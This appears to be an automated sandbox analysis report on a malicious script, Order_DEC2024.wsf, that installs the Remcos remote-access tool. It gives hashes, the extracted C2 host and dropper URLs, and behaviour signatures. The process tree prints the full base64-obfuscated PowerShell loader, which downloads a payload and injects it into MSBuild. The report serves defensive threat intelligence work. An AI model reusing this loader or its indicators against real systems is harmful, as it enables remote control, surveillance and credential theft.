Analysis

  • max time kernel
    299s
  • max time network
    282s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-12-2024 14:12

General

  • Target

    Order_DEC2024.wsf

  • Size

    3KB

  • MD5

    c209a2bdfa9028df5da14abdc1fc58ce

  • SHA1

    17b2e2192cccdde3bc51197285ccdc5a0dc80587

  • SHA256

    a2e71163d56c1feb4714e20d8b559bcf005e10b9044d9565afa0e257b0eb4d62

  • SHA512

    0d7a39070b32d140bfcf01f125eea94d9016d0e641e461d1d2a8d0b42d5d0cc8388fccc1c08272ed09bde710cbd4154b281e638b9f608e7e0b344d6aa3bd54c9

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Extracted

Family

remcos

Botnet

4

C2

lewisham1122.ddnsking.com:6426

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-L31JDJ

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Order_DEC2024.wsf"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4440
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $maremma = 'aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07JG5lbmhvID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JGFsdm9yb3RhciA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JGNob3N0cmEgPSAkYWx2b3JvdGFyLkRvd25sb2FkRGF0YSgkbmVuaG8pOyRwZXJpZ29zYW1lbnRlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJGNob3N0cmEpOyRtZXhlcm90byA9ICc8PEJBU0U2NF9TVEFSVD4+JzskbHVwYW50ZSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGVuY2FyZGlyID0gJHBlcmlnb3NhbWVudGUuSW5kZXhPZigkbWV4ZXJvdG8pOyRuaXN0byA9ICRwZXJpZ29zYW1lbnRlLkluZGV4T2YoJGx1cGFudGUpOyRlbmNhcmRpciAtZ2UgMCAtYW5kICRuaXN0byAtZ3QgJGVuY2FyZGlyOyRlbmNhcmRpciArPSAkbWV4ZXJvdG8uTGVuZ3RoOyRjdW5ldGEgPSAkbmlzdG8gLSAkZW5jYXJkaXI7JGF1bGljaXNtbyA9ICRwZXJpZ29zYW1lbnRlLlN1YnN0cmluZygkZW5jYXJkaXIsICRjdW5ldGEpOyRkZWJpbGl0YW1lbnRvID0gLWpvaW4gKCRhdWxpY2lzbW8uVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGF1bGljaXNtby5MZW5ndGgpXTskZWxlbWllaXJhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZGViaWxpdGFtZW50byk7JGxldmFkb3VyYSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGVsZW1pZWlyYSk7JGVzY290YSA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRlc2NvdGEuSW52b2tlKCRudWxsLCBAKCcwL2ZoY3dvL3IvZWUuZXRzYXAvLzpzcHR0aCcsICdiaWNoYW5jcm9zJywgJ2JpY2hhbmNyb3MnLCAnYmljaGFuY3JvcycsICdNU0J1aWxkJywgJ2JpY2hhbmNyb3MnLCAnYmljaGFuY3JvcycsJ2JpY2hhbmNyb3MnLCdiaWNoYW5jcm9zJywnYmljaGFuY3JvcycsJ2JpY2hhbmNyb3MnLCdiaWNoYW5jcm9zJywnMScsJ2JpY2hhbmNyb3MnKSk7aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07';$escumar = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($maremma));Invoke-Expression $escumar
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4168
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        3⤵
          PID:3376
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          3⤵
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2780
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\ffnzznpquveuorcnuxamujiprojv"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:1800
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\pzsrrfzsidwhqgqrdhnnfovgaubeqzj"
            4⤵
              PID:4928
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\pzsrrfzsidwhqgqrdhnnfovgaubeqzj"
              4⤵
              • Accesses Microsoft Outlook accounts
              • System Location Discovery: System Language Discovery
              PID:1048
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\abfk"
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2720

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\ProgramData\remcos\logs.dat

        Filesize

        144B

        MD5

        5c931a4de64faf137a8d7bb2a8ffedfd

        SHA1

        571c8105b719d24e5f5b6b03770dee377cf67a48

        SHA256

        1a25f4700c7c953c940ba9dfc22fd9181ae5f770fa3cff9662fc4f067551a2f8

        SHA512

        d08de31a031486369f32e5b22086382501fd71633511aa5560b45099bbd44c5c40deabdb43eab19f2a305f7dd0c804ec4cf4ead81477f290cd01ceab1a9f685a

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_251qkkvw.tlg.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\ffnzznpquveuorcnuxamujiprojv

        Filesize

        4KB

        MD5

        ac300aeaf27709e2067788fdd4624843

        SHA1

        e98edd4615d35de96e30f1a0e13c05b42ee7eb7b

        SHA256

        d2637d58bb120dc6fefe2f38d6e0d4b308006b8639106a7f9e915fa80b5cc9d9

        SHA512

        09c46e708f9d253dccd4d943639d9f8126f868ae3dcd951aad12222bb98b5d3814676f878c8391b9bdab5dedcf5b9e9eaeb2ad3ffec57bda875198735586d4df

      • memory/1048-42-0x0000000000400000-0x0000000000462000-memory.dmp

        Filesize

        392KB

      • memory/1048-39-0x0000000000400000-0x0000000000462000-memory.dmp

        Filesize

        392KB

      • memory/1048-37-0x0000000000400000-0x0000000000462000-memory.dmp

        Filesize

        392KB

      • memory/1800-36-0x0000000000400000-0x0000000000478000-memory.dmp

        Filesize

        480KB

      • memory/1800-38-0x0000000000400000-0x0000000000478000-memory.dmp

        Filesize

        480KB

      • memory/1800-40-0x0000000000400000-0x0000000000478000-memory.dmp

        Filesize

        480KB

      • memory/2720-41-0x0000000000400000-0x0000000000424000-memory.dmp

        Filesize

        144KB

      • memory/2720-43-0x0000000000400000-0x0000000000424000-memory.dmp

        Filesize

        144KB

      • memory/2720-44-0x0000000000400000-0x0000000000424000-memory.dmp

        Filesize

        144KB

      • memory/2780-24-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-79-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-127-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-25-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-28-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-29-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-30-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-31-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-32-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-33-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-35-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-126-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-21-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-18-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-119-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-118-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-111-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-110-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-95-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-94-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-87-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-51-0x0000000010000000-0x0000000010019000-memory.dmp

        Filesize

        100KB

      • memory/2780-54-0x0000000010000000-0x0000000010019000-memory.dmp

        Filesize

        100KB

      • memory/2780-55-0x0000000010000000-0x0000000010019000-memory.dmp

        Filesize

        100KB

      • memory/2780-56-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-57-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-86-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-62-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-63-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-70-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-71-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-23-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/2780-78-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/4168-10-0x000002AF50690000-0x000002AF506B2000-memory.dmp

        Filesize

        136KB

      • memory/4168-11-0x00007FF9D8D70000-0x00007FF9D9831000-memory.dmp

        Filesize

        10.8MB

      • memory/4168-12-0x00007FF9D8D70000-0x00007FF9D9831000-memory.dmp

        Filesize

        10.8MB

      • memory/4168-13-0x00007FF9D8D70000-0x00007FF9D9831000-memory.dmp

        Filesize

        10.8MB

      • memory/4168-15-0x00007FF9D8D70000-0x00007FF9D9831000-memory.dmp

        Filesize

        10.8MB

      • memory/4168-14-0x00007FF9D8D73000-0x00007FF9D8D75000-memory.dmp

        Filesize

        8KB

      • memory/4168-16-0x000002AF7B320000-0x000002AF7B478000-memory.dmp

        Filesize

        1.3MB

      • memory/4168-17-0x00007FF9D8D70000-0x00007FF9D9831000-memory.dmp

        Filesize

        10.8MB

      • memory/4168-22-0x00007FF9D8D70000-0x00007FF9D9831000-memory.dmp

        Filesize

        10.8MB

      • memory/4168-0-0x00007FF9D8D73000-0x00007FF9D8D75000-memory.dmp

        Filesize

        8KB